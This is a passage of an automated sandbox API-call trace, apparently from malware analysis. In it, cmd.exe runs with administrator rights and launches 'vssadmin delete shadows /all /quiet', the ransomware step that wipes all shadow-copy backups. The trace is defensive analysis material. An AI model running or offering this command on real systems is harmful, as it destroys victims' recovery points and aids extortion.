lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.388] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0185.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.389] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.389] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0185.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.389] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.389] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0185.389] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0185.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.389] GetFileType (hFile=0xe8) returned 0x3 [0185.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0185.389] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.389] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.389] GetFileType (hFile=0xf4) returned 0x3 [0185.389] _get_osfhandle (_FileHandle=1) returned 0xf4 [0185.389] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0185.389] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x22fa38, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fa38*=0x24, lpOverlapped=0x0) returned 1 [0185.389] GetProcessHeap () returned 0x370000 [0185.389] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x4012) returned 0x390f50 [0185.390] GetProcessHeap () returned 0x370000 [0185.390] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x390f50 | out: hHeap=0x370000) returned 1 [0185.390] GetProcessHeap () returned 0x370000 [0185.390] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb0) returned 0x3897c0 [0185.390] GetProcessHeap () returned 0x370000 [0185.390] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x22) returned 0x384610 [0185.391] GetProcessHeap () returned 0x370000 [0185.391] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x48) returned 0x38fef0 [0185.391] GetConsoleOutputCP () returned 0x4e3 [0185.391] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0185.391] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0185.391] GetConsoleTitleW (in: lpConsoleTitle=0x22f9f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0185.391] GetProcessHeap () returned 0x370000 [0185.391] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x218) returned 0x38aa10 [0185.391] GetProcessHeap () returned 0x370000 [0185.391] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x5a) returned 0x389f00 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x420) returned 0x38b8d0 [0185.392] SetErrorMode (uMode=0x0) returned 0x0 [0185.392] SetErrorMode (uMode=0x1) returned 0x0 [0185.392] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x38b8e0, lpFilePart=0x22f280 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22f280*="system32") returned 0x13 [0185.392] SetErrorMode (uMode=0x0) returned 0x1 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x38b8d0, Size=0x4a) returned 0x38b8d0 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b8d0) returned 0x4a [0185.392] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0185.392] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x104) returned 0x3898f0 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x1f8) returned 0x38b930 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x38b930, Size=0x106) returned 0x38b930 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b930) returned 0x106 [0185.392] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xe8) returned 0x389be0 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x389be0, Size=0x7e) returned 0x389be0 [0185.392] GetProcessHeap () returned 0x370000 [0185.392] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x389be0) returned 0x7e [0185.392] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x22eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eff0) returned 0x389a00 [0185.393] FindClose (in: hFindFile=0x389a00 | out: hFindFile=0x389a00) returned 1 [0185.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x22eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eff0) returned 0xffffffffffffffff [0185.393] GetLastError () returned 0x2 [0185.393] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x22eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eff0) returned 0x390ea0 [0185.393] FindClose (in: hFindFile=0x390ea0 | out: hFindFile=0x390ea0) returned 1 [0185.393] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0185.393] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0185.393] GetConsoleTitleW (in: lpConsoleTitle=0x22f540, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0185.393] GetProcessHeap () returned 0x370000 [0185.393] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x21c) returned 0x38ba50 [0185.394] GetConsoleTitleW (in: lpConsoleTitle=0x38ba60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0185.394] GetProcessHeap () returned 0x370000 [0185.394] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x38ba50, Size=0xc0) returned 0x38ba50 [0185.394] GetProcessHeap () returned 0x370000 [0185.394] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba50) returned 0xc0 [0185.394] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0185.394] GetProcessHeap () returned 0x370000 [0185.394] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba50 | out: hHeap=0x370000) returned 1 [0185.394] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f2f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f2b8 | out: lpAttributeList=0x22f2f8, lpSize=0x22f2b8) returned 1 [0185.395] UpdateProcThreadAttribute (in: lpAttributeList=0x22f2f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f2a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f2f8, lpPreviousValue=0x0) returned 1 [0185.395] GetStartupInfoW (in: lpStartupInfo=0x22f410 | out: lpStartupInfo=0x22f410*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0185.395] GetProcessHeap () returned 0x370000 [0185.395] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x20) returned 0x384640 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0185.395] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0185.396] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0185.396] GetProcessHeap () returned 0x370000 [0185.396] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x384640 | out: hHeap=0x370000) returned 1 [0185.396] GetProcessHeap () returned 0x370000 [0185.396] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x12) returned 0x388900 [0185.396] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x22f330*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f2e0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x22f2e0*(hProcess=0x50, hThread=0x54, dwProcessId=0x658, dwThreadId=0x600)) returned 1 [0185.398] CloseHandle (hObject=0x54) returned 1 [0185.398] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0185.399] GetProcessHeap () returned 0x370000 [0185.399] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38f370 | out: hHeap=0x370000) returned 1 [0185.399] GetEnvironmentStringsW () returned 0x388980* [0185.399] GetProcessHeap () returned 0x370000 [0185.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xaea) returned 0x38e870 [0185.399] FreeEnvironmentStringsW (penv=0x388980) returned 1 [0185.399] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x22ebe8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x22ebe8, ReturnLength=0x0) returned 0x0 [0185.399] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x22ec20, nSize=0x380, lpNumberOfBytesRead=0x22ebe0 | out: lpBuffer=0x22ec20*, lpNumberOfBytesRead=0x22ebe0*=0x380) returned 1 [0185.399] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "41" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6631d000" os_pid = "0x4e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x6dc" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 415 os_tid = 0x654 [0184.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fe80 | out: lpSystemTimeAsFileTime=0x19fe80*(dwLowDateTime=0xf0fcf2a0, dwHighDateTime=0x1d595b2)) [0184.178] GetCurrentProcessId () returned 0x4e4 [0184.178] GetCurrentThreadId () returned 0x654 [0184.178] GetTickCount () returned 0x1142ab9 [0184.178] QueryPerformanceCounter (in: lpPerformanceCount=0x19fe88 | out: lpPerformanceCount=0x19fe88*=14820235610) returned 1 [0184.180] GetModuleHandleW (lpModuleName=0x0) returned 0x4a260000 [0184.180] __set_app_type (_Type=0x1) [0184.180] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a287810) returned 0x0 [0184.180] __getmainargs (in: _Argc=0x4a2aa608, _Argv=0x4a2aa618, _Env=0x4a2aa610, _DoWildCard=0, _StartInfo=0x4a28e0f4 | out: _Argc=0x4a2aa608, _Argv=0x4a2aa618, _Env=0x4a2aa610) returned 0 [0184.180] GetCurrentThreadId () returned 0x654 [0184.180] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x654) returned 0x3c [0184.181] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77890000 [0184.181] GetProcAddress (hModule=0x77890000, lpProcName="SetThreadUILanguage") returned 0x778a6d40 [0184.181] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0184.181] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0184.181] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fe18 | out: phkResult=0x19fe18*=0x0) returned 0x2 [0184.181] VirtualQuery (in: lpAddress=0x19fe00, lpBuffer=0x19fd80, dwLength=0x30 | out: lpBuffer=0x19fd80*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.181] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19fd80, dwLength=0x30 | out: lpBuffer=0x19fd80*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.181] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19fd80, dwLength=0x30 | out: lpBuffer=0x19fd80*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.181] VirtualQuery (in: lpAddress=0xa4000, lpBuffer=0x19fd80, dwLength=0x30 | out: lpBuffer=0x19fd80*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.181] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19fd80, dwLength=0x30 | out: lpBuffer=0x19fd80*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0184.181] GetConsoleOutputCP () returned 0x1b5 [0184.182] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0184.182] SetConsoleCtrlHandler (HandlerRoutine=0x4a283184, Add=1) returned 1 [0184.182] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.182] SetConsoleMode (hConsoleHandle=0x198, dwMode=0x0) returned 0 [0184.182] _get_osfhandle (_FileHandle=1) returned 0x198 [0184.182] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0x4a28e194 | out: lpMode=0x4a28e194) returned 0 [0184.182] _get_osfhandle (_FileHandle=0) returned 0x11c [0184.182] GetConsoleMode (in: hConsoleHandle=0x11c, lpMode=0x4a28e198 | out: lpMode=0x4a28e198) returned 0 [0184.183] GetEnvironmentStringsW () returned 0x388aa0* [0184.183] GetProcessHeap () returned 0x370000 [0184.183] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xab4) returned 0x389560 [0184.183] FreeEnvironmentStringsW (penv=0x388aa0) returned 1 [0184.183] GetProcessHeap () returned 0x370000 [0184.183] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x8) returned 0x388920 [0184.183] GetEnvironmentStringsW () returned 0x388aa0* [0184.183] GetProcessHeap () returned 0x370000 [0184.183] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xab4) returned 0x38a020 [0184.183] FreeEnvironmentStringsW (penv=0x388aa0) returned 1 [0184.183] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ecd8 | out: phkResult=0x19ecd8*=0x44) returned 0x0 [0184.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x18, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.183] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x1, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x1, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.183] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x0, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.183] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x40, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x40, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x40, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.184] RegCloseKey (hKey=0x44) returned 0x0 [0184.184] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ecd8 | out: phkResult=0x19ecd8*=0x44) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x40, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x4, lpData=0x19ecf0*=0x1, lpcbData=0x19ecd4*=0x4) returned 0x0 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: lpType=0x19ecd0*=0x0, lpData=0x19ecf0*=0x1, lpcbData=0x19ecd4*=0x1000) returned 0x2 [0184.184] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ecd0, lpData=0x19ecf0, lpcbData=0x19ecd4*=0x1000 | out: 